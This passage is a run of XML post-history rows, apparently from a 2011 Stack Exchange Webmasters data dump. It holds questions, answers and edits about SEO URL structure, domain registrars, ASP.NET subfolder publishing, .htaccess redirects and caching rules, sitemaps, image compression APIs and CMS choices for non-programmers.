  <row Id="44224" PostHistoryTypeId="2" PostId="18225" RevisionGUID="b749d1ee-dd62-4d1c-934c-57ea6eea0548" CreationDate="2011-08-15T00:12:41.640" UserId="9585" Text="In my application I have users who can post offers. An offer belongs to a category and a subcategory. The title of the offer can be long (~80 characters)&#xD;&#xA;&#xD;&#xA;My options to have url's uniqueness, are:&#xD;&#xA;&#xD;&#xA;    i) /users/:id/offer/:title&#xD;&#xA;    &#xD;&#xA;    ii) /category/:name/offer/:title-:number&#xD;&#xA;    &#xD;&#xA;    iii) /category/:name/subcategory/:name/offer/:title-:number&#xD;&#xA;&#xD;&#xA;where, :number is a different identifier if there are 2 offers with the same title&#xD;&#xA;&#xD;&#xA;1) Which of the 3 is the best in terms of SEO (or there is another combination that is better than the 3 options)?&#xD;&#xA;&#xD;&#xA;2) Is there any difference on the order of the words? For example, is there any difference if I choose `/users/:id/offer/:title` instead of `/offer/:title-:number`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44225" PostHistoryTypeId="1" PostId="18225" RevisionGUID="b749d1ee-dd62-4d1c-934c-57ea6eea0548" CreationDate="2011-08-15T00:12:41.640" UserId="9585" Text="SEO - which URL's are the best?" />
  <row Id="44226" PostHistoryTypeId="3" PostId="18225" RevisionGUID="b749d1ee-dd62-4d1c-934c-57ea6eea0548" CreationDate="2011-08-15T00:12:41.640" UserId="9585" Text="&lt;seo&gt;&lt;url&gt;&lt;seo-friendly&gt;&lt;url-format&gt;" />
  <row Id="44227" PostHistoryTypeId="25" PostId="18209" RevisionGUID="6200fc7e-60c3-446d-b5bf-19c3818a98b0" CreationDate="2011-08-15T00:34:40.450" Comment="http://twitter.com/#!/StackWebmasters/status/102900980785496066" />
  <row Id="44228" PostHistoryTypeId="2" PostId="18226" RevisionGUID="d446adc7-f630-48b4-9805-ac2319843765" CreationDate="2011-08-15T01:05:21.150" UserId="9586" Text="I'm looking to register a .se domain but I can only find registrars that charge ~$50 and I was wondering if there's anything cheaper." />
  <row Id="44229" PostHistoryTypeId="1" PostId="18226" RevisionGUID="d446adc7-f630-48b4-9805-ac2319843765" CreationDate="2011-08-15T01:05:21.150" UserId="9586" Text="What is the cheapest .se domain registrar?" />
  <row Id="44230" PostHistoryTypeId="3" PostId="18226" RevisionGUID="d446adc7-f630-48b4-9805-ac2319843765" CreationDate="2011-08-15T01:05:21.150" UserId="9586" Text="&lt;domain-names&gt;" />
  <row Id="44231" PostHistoryTypeId="2" PostId="18227" RevisionGUID="4a91eb4b-8494-4ffd-b9ab-c5d98ee946c2" CreationDate="2011-08-15T01:21:54.947" UserId="9587" Text="recently it takes 5 to 8 days for my site at www.StudyHorror.com to be indexed. I'm updating the website everyday. What are the possible causes for this problem?" />
  <row Id="44232" PostHistoryTypeId="1" PostId="18227" RevisionGUID="4a91eb4b-8494-4ffd-b9ab-c5d98ee946c2" CreationDate="2011-08-15T01:21:54.947" UserId="9587" Text="Why Google crawl very slowly recently" />
  <row Id="44233" PostHistoryTypeId="3" PostId="18227" RevisionGUID="4a91eb4b-8494-4ffd-b9ab-c5d98ee946c2" CreationDate="2011-08-15T01:21:54.947" UserId="9587" Text="&lt;seo&gt;" />
  <row Id="44234" PostHistoryTypeId="2" PostId="18228" RevisionGUID="df48a20d-d853-4e35-bb16-673700bcc1fd" CreationDate="2011-08-15T01:43:49.230" UserId="9213" Text="[CSS Zen Garden][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.csszengarden.com/" />
  <row Id="44235" PostHistoryTypeId="2" PostId="18229" RevisionGUID="9c57b996-f36f-46dd-b875-a3f5771a11b3" CreationDate="2011-08-15T02:07:07.097" UserId="9588" Text="I'm building a web application in Django and I'm looking to generate dynamic graphs based on the data.&#xD;&#xA;&#xD;&#xA;Previously I was using the Google Image Charts, but I ran into significant limitations with the api, including the URL length constraint.&#xD;&#xA;&#xD;&#xA;I've switched to using matplotlib to create my charts.  I'm wondering if this will be a bad decision for future scaling - do any production sites use matplotlib?  It takes about 100ms to generate a single graph (much longer than querying the database for the data), is this simply out of the question in terms of scaling/handling multiple requests?" />
  <row Id="44236" PostHistoryTypeId="1" PostId="18229" RevisionGUID="9c57b996-f36f-46dd-b875-a3f5771a11b3" CreationDate="2011-08-15T02:07:07.097" UserId="9588" Text="Generating dynamic graphs" />
  <row Id="44237" PostHistoryTypeId="3" PostId="18229" RevisionGUID="9c57b996-f36f-46dd-b875-a3f5771a11b3" CreationDate="2011-08-15T02:07:07.097" UserId="9588" Text="&lt;web-development&gt;&lt;server&gt;&lt;graphics&gt;&lt;python&gt;" />
  <row Id="44238" PostHistoryTypeId="2" PostId="18230" RevisionGUID="ee350685-0be5-4462-80cd-59980053b066" CreationDate="2011-08-15T02:14:17.457" UserId="4502" Text="&lt;a href=&quot;http://www.godaddy.com/domains/search.aspx?ci=8990&quot;&gt;GoDaddy&lt;/a&gt; currently lists .se domains at $29.99. Switch to the &quot;International Pricing&quot; tab, then open the &quot;Europe&quot; section in the table." />
  <row Id="44239" PostHistoryTypeId="25" PostId="18210" RevisionGUID="323af276-8297-4c90-b007-08c7b7e9eab4" CreationDate="2011-08-15T02:34:40.937" Comment="http://twitter.com/#!/StackWebmasters/status/102931182232154113" />
  <row Id="44240" PostHistoryTypeId="17" PostId="18231" RevisionGUID="6d3dcbaa-9637-46f3-84da-2e0fc4e907f1" CreationDate="2011-08-15T04:24:41.833" UserId="-1" Comment="from http://stackoverflow.com/questions/7058535/publish-asp-net-website-in-subfolder" Text="" />
  <row Id="44241" PostHistoryTypeId="17" PostId="18232" RevisionGUID="a6d38e17-d6c0-41da-8fcc-73034e35c567" CreationDate="2011-08-15T04:24:41.833" UserId="-1" Comment="from http://stackoverflow.com/questions/7058535/publish-asp-net-website-in-subfolder" Text="" />
  <row Id="44242" PostHistoryTypeId="17" PostId="18233" RevisionGUID="7e3d6371-d600-483f-bd75-7fc120de32cc" CreationDate="2011-08-15T04:24:41.833" UserId="-1" Comment="from http://stackoverflow.com/questions/7058535/publish-asp-net-website-in-subfolder" Text="" />
  <row Id="44243" PostHistoryTypeId="2" PostId="18232" RevisionGUID="fd31fbda-a293-445e-bcf6-98c33c22f7ce" CreationDate="2011-08-14T17:56:22.587" UserId="5106" Text="I would classify it as a serverfault question. But since you asked my two cents.&#xD;&#xA;&#xD;&#xA;You could set this in your web.config&#xD;&#xA;&#xD;&#xA;    &lt;location path=&quot;.&quot; inheritInChildApplications=&quot;false&quot;&gt;&#xD;&#xA;        &lt;system.web&gt;&#xD;&#xA;            ...&#xD;&#xA;        &lt;/system.web&gt;   &#xD;&#xA;    &lt;/location&gt;&#xD;&#xA;&#xD;&#xA;What it does?&#xD;&#xA;&#xD;&#xA;&gt;**inheritInChildApplications**&#xD;&#xA;&gt;&#xD;&#xA;&gt; Optional Boolean attribute.&#xD;&#xA;&gt;&#xD;&#xA;&gt; Specifies whether configuration settings that are specific to a&#xD;&#xA;&gt; certain location (such as the root directory of a Web site) are&#xD;&#xA;&gt; inherited by applications that exist in subdirectories.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The default is True.&#xD;&#xA;&#xD;&#xA;More Info: [How to disable web.config Inheritance for Child Applications in Subfolders in ASP.NET?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aspdotnetfaq.com/Faq/how-to-disable-web-config-inheritance-for-child-applications-in-subfolders-in-asp-net.aspx" />
  <row Id="44244" PostHistoryTypeId="2" PostId="18233" RevisionGUID="efc41c21-5486-4423-ba41-859b5f9b3bce" CreationDate="2011-08-14T19:43:44.933" UserId="4440" Text="&gt;no way to access to IIS&#xD;&#xA;&#xD;&#xA;You _must_ create an application (virtual directory) in IIS the first time you publish your application.  If you can't access IIS directly, you can alter your web.config as suggested in another answer.  **But that only works with IIS 7.5 (Server 2008 R2).**  If you're not running Server 2008 R2, you won't be able to do this without accessing IIS. " />
  <row Id="44245" PostHistoryTypeId="2" PostId="18231" RevisionGUID="080e6301-459a-433f-8739-ba8ebb8ba508" CreationDate="2011-08-14T17:39:50.847" UserDisplayName="matan" Text="I need to publish my website into a subfolder of an existing one. Notice that there's no way to create a subdomain (e.g.: http://mynewwebsite.example.com), no way to access to IIS.&#xD;&#xA;At the moment I just tried to use the Publish command from my VS2010 and copy/paste file from my disk to subfolder domain via FTP.&#xD;&#xA;This is the error I get: &#xD;&#xA;&#xD;&#xA;    The file '/SUBFOLDERNAME/default.aspx' has not &#xD;&#xA;    been pre-compiled, and cannot be requested.&#xD;&#xA;&#xD;&#xA;Is there someone who can help me? Thank you in advance." />
  <row Id="44246" PostHistoryTypeId="1" PostId="18231" RevisionGUID="080e6301-459a-433f-8739-ba8ebb8ba508" CreationDate="2011-08-14T17:39:50.847" UserDisplayName="matan" Text="publish asp.net website in subfolder" />
  <row Id="44247" PostHistoryTypeId="3" PostId="18231" RevisionGUID="080e6301-459a-433f-8739-ba8ebb8ba508" CreationDate="2011-08-14T17:39:50.847" UserDisplayName="matan" Text="&lt;asp.net&gt;" />
  <row Id="44248" PostHistoryTypeId="25" PostId="18231" RevisionGUID="3826feb6-7419-4133-ba32-17a87373253f" CreationDate="2011-08-15T04:34:41.310" Comment="http://twitter.com/#!/StackWebmasters/status/102961382764457984" />
  <row Id="44253" PostHistoryTypeId="17" PostId="18235" RevisionGUID="a4fe656f-3f32-4c7c-9b9f-7d068783fbec" CreationDate="2011-08-15T06:08:15.780" UserId="-1" Comment="from http://serverfault.com/questions/110146/why-is-yslow-telling-me-use-cookie-free-domains-on-only-one-of-my-sites" Text="" />
  <row Id="44254" PostHistoryTypeId="17" PostId="18236" RevisionGUID="048e81c4-a2c6-4793-8d74-0abda1461477" CreationDate="2011-08-15T06:08:15.780" UserId="-1" Comment="from http://serverfault.com/questions/110146/why-is-yslow-telling-me-use-cookie-free-domains-on-only-one-of-my-sites" Text="" />
  <row Id="44255" PostHistoryTypeId="2" PostId="18236" RevisionGUID="cdbf7615-bc32-4cc2-b50e-eccd0e86a795" CreationDate="2010-02-06T16:05:29.447" UserDisplayName="osgx" Text="From Yahoo performance rules:&#xD;&#xA;&#xD;&#xA;You should make sure static components are requested with cookie-free requests.&#xD;&#xA;&#xD;&#xA;Do you have static or dynamic site with &quot;F&quot; rating for cookie-free rule?&#xD;&#xA;This can also be triggered by large cookies, I think." />
  <row Id="44256" PostHistoryTypeId="2" PostId="18235" RevisionGUID="b4c7f503-00d8-4a47-9579-0b9dcec38685" CreationDate="2010-02-06T03:10:52.227" UserDisplayName="Joel" Text="I have Four websites all hosted under the same account (all under public_html of a main domain).&#xD;&#xA;All but one give me an A for &quot;use cookie-free domains&quot; but one of them gives me an F.  What should I be doing to change this one domain?  I don't even know what to look for...&#xD;&#xA;&#xD;&#xA;Wait a second...grr...I just ran the test again, and got an A-weird..." />
  <row Id="44257" PostHistoryTypeId="1" PostId="18235" RevisionGUID="b4c7f503-00d8-4a47-9579-0b9dcec38685" CreationDate="2010-02-06T03:10:52.227" UserDisplayName="Joel" Text="Why is Yslow telling me Use cookie-free domains on only one of my sites?" />
  <row Id="44258" PostHistoryTypeId="3" PostId="18235" RevisionGUID="b4c7f503-00d8-4a47-9579-0b9dcec38685" CreationDate="2010-02-06T03:10:52.227" UserDisplayName="Joel" Text="&lt;untagged&gt;" />
  <row Id="44260" PostHistoryTypeId="25" PostId="18184" RevisionGUID="fb9c1837-8d06-4d60-95a5-b59199a95b09" CreationDate="2011-08-15T06:34:41.990" Comment="http://twitter.com/#!/StackWebmasters/status/102991585179996160" />
  <row Id="44261" PostHistoryTypeId="2" PostId="18237" RevisionGUID="25f808bb-0226-460e-b515-984d7eb8c12d" CreationDate="2011-08-15T07:41:29.993" UserId="8286" Text="Yes - at least, with Chromium 9.0.597.107 (75357) Ubuntu 10.04.&#xD;&#xA;&#xD;&#xA;It took me five minutes to knock together [a quick test case](http://www.cheddarmonk.org/iframetest/wrapper.html). Feel free to check it in as many browsers as you can." />
  <row Id="44262" PostHistoryTypeId="2" PostId="18238" RevisionGUID="d94587ef-85ff-4f3d-87e4-605cbdc82896" CreationDate="2011-08-15T07:53:11.470" UserId="8286" Text="I have a number of domains redirecting to a canonical one for the church website I run. It does use virtual hosts (my hosting company's control panel sets that all up); in the `DocumentRoot` of the virtual host for the non-canonical names I have an `.htaccess` consisting of&#xD;&#xA;&#xD;&#xA;    Redirect permanent / http://www.canonicaldomain.com/&#xD;&#xA;&#xD;&#xA;Given that you say in a comment to another answer that you don't have access to `httpd.conf`, I presume that you're with a hosting company. Do they have a control panel to set up domains/subdomains with a different root?" />
  <row Id="44263" PostHistoryTypeId="25" PostId="18198" RevisionGUID="3dfee87b-a5a6-425a-8cfc-2244db573b8b" CreationDate="2011-08-15T08:34:42.110" Comment="http://twitter.com/#!/StackWebmasters/status/103021784172998657" />
  <row Id="44264" PostHistoryTypeId="2" PostId="18239" RevisionGUID="1a4b544e-05e4-42b7-ad8a-d3030e8a2a9c" CreationDate="2011-08-15T09:53:56.167" UserId="9591" Text="I'm in the process of planning a content based website in the entertainment sector.&#xD;&#xA;&#xD;&#xA;I am looking for some guidance on the best CRM package to use based on the following requirements and competencies:&#xD;&#xA;&#xD;&#xA;No programming training or web design experience, but I do plan on teaching myself basic HTML and CSS from a book.&#xD;&#xA;&#xD;&#xA;Features which I would like to include would be an email alert system based on the user adding favourite artists. I would also like to have a log-in system for members.&#xD;&#xA;&#xD;&#xA;Am I likely to be able to achieve this using a CMS without any custom programming?&#xD;&#xA;&#xD;&#xA;If so, which CMS would be a good fit?&#xD;&#xA;&#xD;&#xA;Your thoughts appreciated.&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;&#xD;&#xA;Niall." />
  <row Id="44265" PostHistoryTypeId="1" PostId="18239" RevisionGUID="1a4b544e-05e4-42b7-ad8a-d3030e8a2a9c" CreationDate="2011-08-15T09:53:56.167" UserId="9591" Text="What CMS package should I be using to build a content website?" />
  <row Id="44266" PostHistoryTypeId="3" PostId="18239" RevisionGUID="1a4b544e-05e4-42b7-ad8a-d3030e8a2a9c" CreationDate="2011-08-15T09:53:56.167" UserId="9591" Text="&lt;web-development&gt;" />
  <row Id="44267" PostHistoryTypeId="2" PostId="18240" RevisionGUID="6401a00c-383b-415b-8436-4b033f1b7763" CreationDate="2011-08-15T10:01:01.433" UserId="480" Text="Is there a free service with and API that performs lossless image file size reduction?&#xD;&#xA;&#xD;&#xA;Currently we use [Smush.it][1] which isn't perfect (have to resort to command line tools), although its FAQ does suggest that an API is coming (no progress on this in over 2 years).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smushit.com/ysmush.it/" />
  <row Id="44268" PostHistoryTypeId="1" PostId="18240" RevisionGUID="6401a00c-383b-415b-8436-4b033f1b7763" CreationDate="2011-08-15T10:01:01.433" UserId="480" Text="Smush.It or similar lossless image shrinking with API" />
  <row Id="44269" PostHistoryTypeId="3" PostId="18240" RevisionGUID="6401a00c-383b-415b-8436-4b033f1b7763" CreationDate="2011-08-15T10:01:01.433" UserId="480" Text="&lt;images&gt;&lt;file-size&gt;" />
  <row Id="44270" PostHistoryTypeId="2" PostId="18241" RevisionGUID="199f7300-63c8-43cb-bd3c-4b81e7661a39" CreationDate="2011-08-15T10:03:31.383" UserId="2026" Text="We can google zip files easily on a site. And for downloading we need not to visit the site. Still if you wanna save them you can control crawlers through robots.txt, you can write some script which generates a temporary download link.&#xD;&#xA;It's not hacking..." />
  <row Id="44271" PostHistoryTypeId="2" PostId="18242" RevisionGUID="4fba8a9e-1238-463e-981e-b5eb195f225c" CreationDate="2011-08-15T10:22:10.203" UserId="7198" Text="There's the [PunyPNG API](http://punypng.com/api), which supports PNG, jpeg, and gif images.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44272" PostHistoryTypeId="2" PostId="18243" RevisionGUID="f9b529f9-e7e0-4a53-802a-0493a74bd944" CreationDate="2011-08-15T10:33:50.763" UserId="8975" Text="i have a bi-lingual website that right now has a sitemap index for each language which links to the serveral different sitemaps (mainly one for videos, one for static content and one for articles). Now i would like to introduce another sitemap that links the serveral sitemap indexes. Then i could link that sitemap in the robots.txt in the root and wouldn't have to have one robots.txt for each language.&#xD;&#xA;&#xD;&#xA;Is that valid? Or is there a simpler solution to my problem?&#xD;&#xA;" />
  <row Id="44273" PostHistoryTypeId="1" PostId="18243" RevisionGUID="f9b529f9-e7e0-4a53-802a-0493a74bd944" CreationDate="2011-08-15T10:33:50.763" UserId="8975" Text="sitemap inception: is a sitemap index, naming other sitemap indexes valid?" />
  <row Id="44274" PostHistoryTypeId="3" PostId="18243" RevisionGUID="f9b529f9-e7e0-4a53-802a-0493a74bd944" CreationDate="2011-08-15T10:33:50.763" UserId="8975" Text="&lt;google&gt;&lt;sitemap&gt;&lt;robots.txt&gt;" />
  <row Id="44276" PostHistoryTypeId="25" PostId="18240" RevisionGUID="094d6a6b-a922-4005-805b-eadeddc04381" CreationDate="2011-08-15T10:34:41.767" Comment="http://twitter.com/#!/StackWebmasters/status/103051982008360961" />
  <row Id="44277" PostHistoryTypeId="2" PostId="18244" RevisionGUID="e1113dc7-d6d0-446f-8cf2-0c9f7abc356a" CreationDate="2011-08-15T10:37:33.900" UserId="798" Text="I use the following in the .htaccess on my bluehost account (as recommended by a friend)&#xD;&#xA;&#xD;&#xA;      &lt;Files ~ &quot;^[^\.]+$&quot;&gt;&#xD;&#xA;        ForceType application/x-httpd-php&#xD;&#xA;        SetOutputFilter DEFLATE&#xD;&#xA;      &lt;/Files&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;FilesMatch &quot;\.(js|css|html|htm|php|xml)$&quot;&gt;&#xD;&#xA;    	SetOutputFilter DEFLATE&#xD;&#xA;      &lt;/FilesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      ExpiresActive on&#xD;&#xA;      ExpiresByType image/png &quot;access plus 1 month&quot;&#xD;&#xA;      ExpiresByType image/gif &quot;access plus 1 month&quot;&#xD;&#xA;      ExpiresByType image/jpeg &quot;access plus 1 month&quot;&#xD;&#xA;      ExpiresByType text/css &quot;access plus 1 month&quot;&#xD;&#xA;      AddType image/vnd.microsoft.icon .ico&#xD;&#xA;      ExpiresByType image/vnd.microsoft.icon &quot;access plus 3 months&quot;" />
  <row Id="44278" PostHistoryTypeId="5" PostId="18239" RevisionGUID="622f9e92-74db-4221-be9b-26b50877fa04" CreationDate="2011-08-15T10:41:16.617" UserId="9592" Comment="removed extraneous noise and added extra detail (I know the original poster)" Text="I'm in the process of planning a content-driven website in the entertainment sector. I am looking for some guidance on the best CMS to use based on the following requirements and competencies:&#xD;&#xA;&#xD;&#xA;I have no programming skills or web design experience, but plan on teaching myself basic HTML and CSS.&#xD;&#xA;&#xD;&#xA;Features which I would like to include: &#xD;&#xA;&#xD;&#xA; - an email alert system that notifies users when content about their favorite artists, venues, etc. is added &#xD;&#xA; - a log-in system for members.&#xD;&#xA; - Google map showing location of events of interest&#xD;&#xA;&#xD;&#xA;Am I likely to be able to achieve this using a CMS without any custom programming? If so, which CMS would be a good fit?&#xD;&#xA;&#xD;&#xA;Although I have no relevant technical skills myself, I do know an experienced Java/Groovy web developer, who might be able to help, so all other things being equal, I would favor a CMS which allows extensions/plugins to be written in one of those languages." />
  <row Id="44279" PostHistoryTypeId="4" PostId="18239" RevisionGUID="622f9e92-74db-4221-be9b-26b50877fa04" CreationDate="2011-08-15T10:41:16.617" UserId="9592" Comment="removed extraneous noise and added extra detail (I know the original poster)" Text="Which CMS should I use to build this website?" />
  <row Id="44280" PostHistoryTypeId="6" PostId="18239" RevisionGUID="622f9e92-74db-4221-be9b-26b50877fa04" CreationDate="2011-08-15T10:41:16.617" UserId="9592" Comment="removed extraneous noise and added extra detail (I know the original poster)" Text="&lt;web-development&gt;&lt;cms&gt;" />
  <row Id="44281" PostHistoryTypeId="24" PostId="18239" RevisionGUID="622f9e92-74db-4221-be9b-26b50877fa04" CreationDate="2011-08-15T10:41:16.617" Comment="Proposed by 9592 approved by -1 edit id of 485" />
  <row Id="44282" PostHistoryTypeId="4" PostId="18239" RevisionGUID="2da64e42-2e24-443f-af30-f1b5bf2c47ae" CreationDate="2011-08-15T10:41:16.833" UserId="7198" Comment="modified title and approved Don's suggested edits (Don 'knows the original poster')" Text="Which CMS can I use to build a website without programming knowledge?" />
  <row Id="44283" PostHistoryTypeId="2" PostId="18245" RevisionGUID="02fee5d5-c39d-4dfe-99e0-44bad210f223" CreationDate="2011-08-15T10:55:44.160" UserId="1780" Text="KnowledgeTree has a [community edition][1] which is free and Open Source. It's a fine product and has many unique features that you won't find in any other OpenSource document management solutions (like the WIndows drag &amp; drop client), but usage often feels kludgy, and its architecture is largely based on deprecated PHP4  code. I set it up for a client earlier this year, but we agreed to turn away from it because we discovered ...&#xD;&#xA;&#xD;&#xA;**My recommendation**&#xD;&#xA;&#xD;&#xA;[**ResourceSpace**][2]. It is clearly built mainly for the archival of visual media, but it seems to be working fine for documents as well. It is completely Open Source, based on PHP, and very quick to install. It has extensive workflow features, a clean interface, and on-line preview of many document types.&#xD;&#xA;&#xD;&#xA;**Caveats**&#xD;&#xA;&#xD;&#xA;The only thing it doesn't seem to be doing is full-text index Word documents - I have a [Google Groups question][3] running on the topic. It uses [OpenOffice integration][4] to create previews of Office documents which which I'm currently having character set issues (Umlauts breaking in the document preview). I don't know whether these can be fixed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.knowledgetree.org/Main_Page&#xD;&#xA;  [2]: http://resourcespace.org/&#xD;&#xA;  [3]: http://groups.google.com/group/resourcespace/browse_thread/thread/d578762924939841&#xD;&#xA;  [4]: http://wiki.resourcespace.org/index.php/OpenOffice_Integration" />
  <row Id="44284" PostHistoryTypeId="2" PostId="18246" RevisionGUID="76616958-d167-4389-a4a7-de1d270c4f2d" CreationDate="2011-08-15T11:13:46.517" UserId="7198" Text="Custom development is always tricky without programming knowledge, but there are several content management systems that have slightly lower barriers to entry for non-programmers. There are far more than the four I've listed below, but they will give you enough to research for now.&#xD;&#xA;&#xD;&#xA;###Self-hosted ‘non-programmer friendly’ CMS&#xD;&#xA; - [ExpressionEngine](http://expressionengine.com/) is a powerful self-hosted publishing platform that uses [templating tags](http://expressionengine.com/user_guide/#template_docs) to display content instead of a scripted programming language. This makes it slightly easier to learn and use for non-programmers than a CMS that requires you to learn PHP.&#xD;&#xA;&#xD;&#xA; - [Silverstripe](http://silverstripe.org/) is another CMS that uses simple templating tags instead of complex code. The ['build a simple site'](http://doc.silverstripe.org/sapphire/en/tutorials/1-building-a-basic-site) tutorial is worth walking through. &#xD;&#xA;&#xD;&#xA;For both of these, you'll need some knowledge of HTML and CSS to design your templates, but they offer the advantage of not having to learn a Web scripting language such as PHP in order to build a fairly complex website.&#xD;&#xA;&#xD;&#xA;###Hosted ‘non-programmer friendly’ CMS&#xD;&#xA;&#xD;&#xA;If you're comfortable paying a monthly fee to use a CMS instead of installing one on your own rented server, the following are both non-programmer friendly:&#xD;&#xA;&#xD;&#xA;- [Squarespace](http://squarespace.com) offers a 'website builder' with a range of ['building blocks'](http://www.squarespace.com/the-site-builder/) that you can link together. It's a drag-and-drop solution and doesn't offer the fine-grained control you'll get with a self-hosted CMS, but it's great for getting fairly simple sites up and running fast, and the in-browser design tools are impressive.&#xD;&#xA;&#xD;&#xA;- [Business Catalyst](http://businesscatalyst.com/) is Adobe's hosted &quot;CMS + eCommerce + CRM + Analytics + Email Marketing + Social Marketing + Blog + SEO&quot; product. It's aimed specifically at Web design and development companies, but is usable by individuals too, and they market it as a 'no coding required' solution.&#xD;&#xA;&#xD;&#xA;###Your specific requirements&#xD;&#xA;&#xD;&#xA;In regards to your requests:&#xD;&#xA;&#xD;&#xA;&gt; an email alert system that notifies users when content about their favorite artists, venues, etc. is added&#xD;&#xA;&#xD;&#xA;I would suggest using [MailChimp](http://mailchimp.com/) for this. Here's how:&#xD;&#xA;&#xD;&#xA;1. Create a mailing list and [add groups](http://mailchimp.com/resources/guides/html/how-to-manage-your-list/#add-groups-to-your-list) for each category of interest (e.g. band name). &#xD;&#xA;2. Offer a way for site visitors to join your mailing list using a [customised sign-up form](http://blog.mailchimp.com/customizing-email-signup-forms-in-mailchimp/) where they can check the tick boxes next to their interests. &#xD;&#xA;3. Create a category for each of the bands in your CMS of choice, and post any new announcements for that band in the relevant category. How you do this depends on the CMS, but the result is that you should be provided with an RSS feed for that category only.&#xD;&#xA;4. Finally, you would set up an [RSS campaign](http://kb.mailchimp.com/article/what-is-an-rss-to-email-campaign-and-how-to-i-set-one-up/) for each of the band names using the RSS feed for each category. This results in an email being sent to anyone who signed up and marked that band as one of their interests every time you add a new post to that category in the CMS.&#xD;&#xA;&#xD;&#xA;It might sound complicated, but doing it this way means you can build the system without programming knowledge, and you don't need to look for a CMS that supports email notification (few do out of the box).&#xD;&#xA;&#xD;&#xA;&gt; a log-in system for members.&#xD;&#xA;&#xD;&#xA;Most CMS include a log-in system, including all of the above mentioned software.&#xD;&#xA;&#xD;&#xA;&gt; Google map showing location of events of interest&#xD;&#xA;&#xD;&#xA;You can [embed Google maps on any web page](http://maps.google.com/support/bin/answer.py?answer=72644), regardless of what CMS it uses.&#xD;&#xA;&#xD;&#xA;&gt; Although I have no relevant technical skills myself, I do know an experienced Java/Groovy web developer, who might be able to help, so all other things being equal, I would favor a CMS which allows extensions/plugins to be written in one of those languages.&#xD;&#xA;&#xD;&#xA;I'm sorry to say that I've never used a CMS written in Java, and none spring to mind. I would suspect that a Java CMS would have slightly more complex hosting and technical requirements, so it might not be suited for a non-programmer anyway. (PHP content management systems are *far* more common and generally inexpensive to host too, so I'd suggest focussing your search there if you decide to host the project yourself.)&#xD;&#xA;" />
  <row Id="44285" PostHistoryTypeId="2" PostId="18247" RevisionGUID="84d3d938-6790-476f-b711-39fc5e20dd9a" CreationDate="2011-08-15T11:18:02.303" UserId="8222" Text="**Category 3** seems to be the best as it clearly shows the search terms and google can better relate it to search queries " />
  <row Id="44286" PostHistoryTypeId="5" PostId="18246" RevisionGUID="cc031857-d8a4-4577-8bcb-6b41502f7e91" CreationDate="2011-08-15T11:20:44.590" UserId="7198" Comment="added 18 characters in body" Text="Custom development is always tricky without programming knowledge, but there are several content management systems that have slightly lower barriers to entry for non-programmers. There are far more than the four I've listed below, but they will give you enough to research for now.&#xD;&#xA;&#xD;&#xA;###Self-hosted ‘non-programmer friendly’ CMS&#xD;&#xA; - [ExpressionEngine](http://expressionengine.com/) is a powerful self-hosted publishing platform that uses [templating tags](http://expressionengine.com/user_guide/#template_docs) to display content instead of a scripted programming language. This makes it slightly easier to learn and use for non-programmers than a CMS that requires you to learn PHP.&#xD;&#xA;&#xD;&#xA; - [Silverstripe](http://silverstripe.org/) is another CMS that uses simple templating tags instead of complex code. The ['build a simple site'](http://doc.silverstripe.org/sapphire/en/tutorials/1-building-a-basic-site) tutorial is worth walking through. &#xD;&#xA;&#xD;&#xA;For both of these, you'll need some knowledge of HTML and CSS to design your templates, but they offer the advantage of not having to learn a Web scripting language such as PHP in order to build a fairly complex website.&#xD;&#xA;&#xD;&#xA;###Hosted ‘non-programmer friendly’ CMS&#xD;&#xA;&#xD;&#xA;If you're comfortable paying a monthly fee to use a CMS instead of installing one on your own rented server, the following are both non-programmer friendly:&#xD;&#xA;&#xD;&#xA;- [Squarespace](http://squarespace.com) offers a 'website builder' with a range of ['building blocks'](http://www.squarespace.com/the-site-builder/) that you can link together. It's a drag-and-drop solution and doesn't offer the fine-grained control you'll get with a self-hosted CMS, but it's great for getting fairly simple sites up and running fast, and the in-browser design tools are impressive.&#xD;&#xA;&#xD;&#xA;- [Business Catalyst](http://businesscatalyst.com/) is Adobe's hosted &quot;CMS + eCommerce + CRM + Analytics + Email Marketing + Social Marketing + Blog + SEO&quot; product. It's aimed specifically at Web design and development companies, but is usable by individuals too, and they market it as a 'no coding required' solution.&#xD;&#xA;&#xD;&#xA;###Your specific requirements&#xD;&#xA;&#xD;&#xA;In regards to your requests:&#xD;&#xA;&#xD;&#xA;&gt; an email alert system that notifies users when content about their favorite artists, venues, etc. is added&#xD;&#xA;&#xD;&#xA;I would suggest using [MailChimp](http://mailchimp.com/) for this. Here's how:&#xD;&#xA;&#xD;&#xA;1. Create a mailing list and [add groups](http://mailchimp.com/resources/guides/html/how-to-manage-your-list/#add-groups-to-your-list) for each category of interest (e.g. band name). &#xD;&#xA;2. Offer a way for site visitors to join your mailing list using a [customised sign-up form](http://blog.mailchimp.com/customizing-email-signup-forms-in-mailchimp/) where they can check the tick boxes next to their interests. &#xD;&#xA;3. Create a category for each of the bands in your CMS of choice, and post any new announcements for that band in the relevant category. How you do this depends on the CMS, but the result is that you should be provided with an RSS feed for that category only.&#xD;&#xA;4. Finally, you would set up an [RSS campaign](http://kb.mailchimp.com/article/what-is-an-rss-to-email-campaign-and-how-to-i-set-one-up/) for each of the band names using the RSS feed for each category. This results in an email being sent to anyone who signed up and marked that band as one of their interests every time you add a new post to that category in the CMS.&#xD;&#xA;&#xD;&#xA;It might sound complicated, but doing it this way means you can build the system without programming knowledge, and you don't need to look for a CMS that supports email notification upon post updates (few do out of the box).&#xD;&#xA;&#xD;&#xA;&gt; a log-in system for members.&#xD;&#xA;&#xD;&#xA;Most CMS include a log-in system, including all of the above mentioned software.&#xD;&#xA;&#xD;&#xA;&gt; Google map showing location of events of interest&#xD;&#xA;&#xD;&#xA;You can [embed Google maps on any web page](http://maps.google.com/support/bin/answer.py?answer=72644), regardless of what CMS it uses.&#xD;&#xA;&#xD;&#xA;&gt; Although I have no relevant technical skills myself, I do know an experienced Java/Groovy web developer, who might be able to help, so all other things being equal, I would favor a CMS which allows extensions/plugins to be written in one of those 